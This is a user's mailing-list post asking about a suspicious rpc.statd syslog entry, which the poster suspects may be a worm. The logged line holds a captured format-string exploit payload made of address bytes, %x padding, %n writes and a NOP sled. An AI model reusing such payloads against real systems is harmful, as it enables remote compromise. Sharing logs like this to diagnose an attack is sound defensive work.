Strange entry in syslog
Hello,
I found this in my syslog today:
Jan 26 01:39:38 myhost
Jan 26 01:39:38 myhost /sbin/rpc.statd[156]: gethostbyname error for
^X÷˙ż^X÷˙ż^Y÷˙ż^Y÷˙ż^Z÷˙ż^Z÷˙ż^[÷˙ż^[÷˙ż%8x%8x%8x%8x%8x%8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
Then some lines with earlier time and again:
Jan 26 01:39:38 myhost
Jan 26 01:39:38 myhost syslogd: Cannot glue message parts together
Jan 26 01:39:38 myhost /sbin/rpc.statd[156]: gethostbyname error for
_here_goes_the_same_long_line_returned_by_gethostbyname_
Some told me it might be e worm called Raven, but it attacks some RedHat
systems. Anyway I didn't find any signs of the worm on my potato.
Any ideas ?
--
Regards,
Marek L. Kozak
Reply to: